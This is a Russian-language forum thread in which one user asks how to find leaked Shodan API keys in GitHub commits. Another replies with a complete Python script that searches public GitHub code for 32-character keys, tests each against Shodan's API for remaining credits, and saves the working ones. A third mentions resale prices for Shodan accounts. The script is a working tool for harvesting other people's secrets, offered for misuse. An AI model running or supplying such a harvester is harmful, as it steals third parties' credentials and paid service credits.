Github search

[capitancolombo]

Привет! Подскажите как искать коммиты в репозиториях github, к примеру api key shodan?

 

[Zero Fackz]

Привет! Подскажите как искать коммиты в репозиториях github, к примеру api key shodan?

import sys
import time
import datetime

from shodan import Shodan
from github import Github


def clean(o):
ls = []
keyList = []

with open(o, 'r+') as f:
for line in f.readlines():
if line.split(" ")[0] not in keyList:
ls.append(line)
keyList.append(line.split(" ")[0])

with open(o, 'w') as f:
for l in ls:
f.write(l)


def check(k, o):
try:
shodan_api = Shodan(k)
if shodan_api.info()['query_credits'] >= 50:
print("Key Found!")
with open(o, 'a+') as f:
f.write(k + " Credits: " + str(shodan_api.info()['query_credits']) + " Scans: " + str(shodan_api.info()['scan_credits']) + "\n")
except:
pass


def search(t, o, k, l):
while True:
try:
api = Github(t)
api.per_page = 1
repos = api.search_code(l + k)
tc = repos.totalCount
except Exception as e:
if "rate limit" in str(e):
time.sleep(30)
continue
break

for i in range(0, tc):
while True:
try:
lines = str(repos.get_page(i)[0].decoded_content, 'utf-8').split("\n")

for line in lines:
original = line
line = line.strip().lower().replace(' ', '')

if k + '"' in line:
split = original.split('"')
if len(split[1]) == 32:
check(split[1], o)
elif k + "'" in line:
split = original.split("'")
if len(split[1]) == 32:
check(split[1], o)

except Exception as e:
if "rate limit" in str(e):
time.sleep(30)
continue
break


try:
if len(sys.argv) != 3:
print("Usage: gitshodankey.py <github-api-token> <keys.out>")
exit()

print("Searching for free Shodan api keys in public Github repositories.\nPlease keep in mind that this will take a few hours!\n")

keywordFiles = ["keywords/shodan-python.txt"]
language = None

for keywordFile in keywordFiles:
if "python" in keywordFile: language = "languageython "

keywordList = []
with open(keywordFile, 'r+') as f:
for l in f.readlines():
keywordList.append(l.removesuffix("\n"))

try:
for keyword in keywordList:
dt = datetime.datetime.now().strftime("%d.%m.%Y %H:%M:%S")
print(dt + " - Searching with query: '" + language + keyword + "'")
search(sys.argv[1], sys.argv[2], keyword, language)

clean(sys.argv[2])

except Exception as e:
print("\nError: " + str(e) + "\n")
print("Usage: gitshodankey.py <github-api-token> <keys.out>")
exit()

except KeyboardInterrupt:
exit()

 

[specical bat]

Аккаунт shodan можно купить до 500 руб, в зависимости от количества кредитов на аккаунте.